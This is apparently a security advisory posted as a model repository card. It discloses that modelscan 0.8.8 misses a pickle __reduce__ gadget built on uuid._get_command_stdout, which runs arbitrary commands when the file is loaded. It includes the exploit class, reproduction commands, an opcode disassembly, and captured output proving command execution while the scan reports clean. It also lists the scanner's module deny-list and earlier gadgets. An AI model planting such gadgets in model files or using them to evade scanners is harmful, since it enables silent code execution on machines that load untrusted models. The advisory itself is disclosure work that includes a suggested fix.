YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

modelscan 0.8.8 scanner-evasion: uuid._get_command_stdout pickle reduce-gadget (RCE)

Summary

modelscan 0.8.8 (latest) statically inspects pickle GLOBAL/STACK_GLOBAL opcodes and flags a global only when its literal module string appears in the unsafe_globals blocklist (modelscan/settings.py). The blocklist covers os, posix, nt, subprocess, runpy, asyncio, socket, pty, shutil, sys, pickle, bdb, pdb, a subset of builtins, and operator.attrgetter.

It does not cover the standard-library uuid module, which ships a helper uuid._get_command_stdout(command, *args) that resolves command with shutil.which() and then runs it via subprocess.Popen((executable, *args)) with a fully attacker-controlled argv. Used as a pickle __reduce__ target this gives one-shot command execution that modelscan scans CLEAN, while pickle.load / joblib.load / torch.load execute the command.

The gadget

class Exploit:
    def __reduce__(self):
        return (uuid._get_command_stdout, ("sh", "-c", "id"))

_get_command_stdout("sh", "-c", "id") -> shutil.which("sh") -> subprocess.Popen(("/usr/bin/sh", "-c", "id"), ...).

Reproduce

python3 build_poc.py                 # writes model.pkl
modelscan -p model.pkl               # => "No issues found! πŸŽ‰"  (exit 0)
python3 -c "import pickle; pickle.load(open('model.pkl','rb'))"   # runs the command

Verified (modelscan 0.8.8, Python 3.13, Linux)

  • modelscan -p model.pkl -> No issues found! πŸŽ‰, total_issues: 0 (see scan.json)
  • pickle.load and joblib.load both execute the command.
  • Negative control: a benign pickle produces no execution and also scans clean.

Root cause

Blocklist-only (deny-list) detection. uuid._get_command_stdout is a subprocess.Popen wrapper in a module the deny-list omits, so the malicious global is invisible to the scanner.

Suggested fix

Add uuid (and other stdlib subprocess/os wrappers) to unsafe_globals, or move to an allow-list model that flags any global not on a vetted-safe list.

Impact

HIGH β€” scanner evasion enabling silent RCE in ML pipelines that rely on modelscan to gate untrusted .pkl/.joblib/.bin model files.

Pickle disassembly (pickletools.dis model.pkl)

   11: \x8c SHORT_BINUNICODE 'uuid'
   18: \x8c SHORT_BINUNICODE '_get_command_stdout'
   40: \x93 STACK_GLOBAL
   42: \x8c SHORT_BINUNICODE 'sh'
   47: \x8c SHORT_BINUNICODE '-c'
   52: \x8c SHORT_BINUNICODE 'id'
   57: \x87 TUPLE3
   59: R    REDUCE
   61: .    STOP

The single global is uuid . _get_command_stdout, followed by TUPLE3 + REDUCE.

Captured evidence (verbatim β€” modelscan 0.8.8, Python 3.12, Linux)

===== MODELSCAN 0.8.8 SCAN =====
Scanning .../model.pkl using modelscan.scanners.PickleUnsafeOpScan model scan
--- Summary ---
 No issues found! πŸŽ‰
EXIT=0
JSON: {"summary": {"total_issues_by_severity": {"LOW":0,"MEDIUM":0,"HIGH":0,"CRITICAL":0}, "total_issues": 0, "modelscan_version": "0.8.8", "scanned": {"total_scanned": 1, "scanned_files": ["model.pkl"]}, "issues": [], "errors": []}
===== pickle.load =====
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),...
PWNED_VIA_UUID_GADGET
===== joblib.load =====
uid=1000(kali) gid=1000(kali) groups=1000(kali),...
PWNED_VIA_UUID_GADGET
===== NEGATIVE CONTROL (benign pickle) =====
benign: no marker (correct)
 No issues found! πŸŽ‰
uuid present in blocklist: False

Dedup / prior-art note

  • Not a known CVE. modelscan's deny-list model is by-design, but each newly disclosed stdlib gadget in an unlisted module is a distinct evasion primitive.
  • This uuid gadget is NEW: uuid is neither in the unsafe_globals blocklist nor among the ~40 previously-filed modelscan reduce-gadgets (dataclasses, spawnv_passfds, logging.config, doctest, codeop, marshal, pydoc, numpy.ctypeslib, typing, inspect, code, cProfile, timeit, operator.methodcaller+ctypes, etc.).
  • uuid._get_command_stdout is a direct subprocess.Popen((exe, *args)) wrapper with attacker-controlled argv β€” a clean one-shot exec target, distinct from the string-eval / import-based gadgets in prior filings.
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support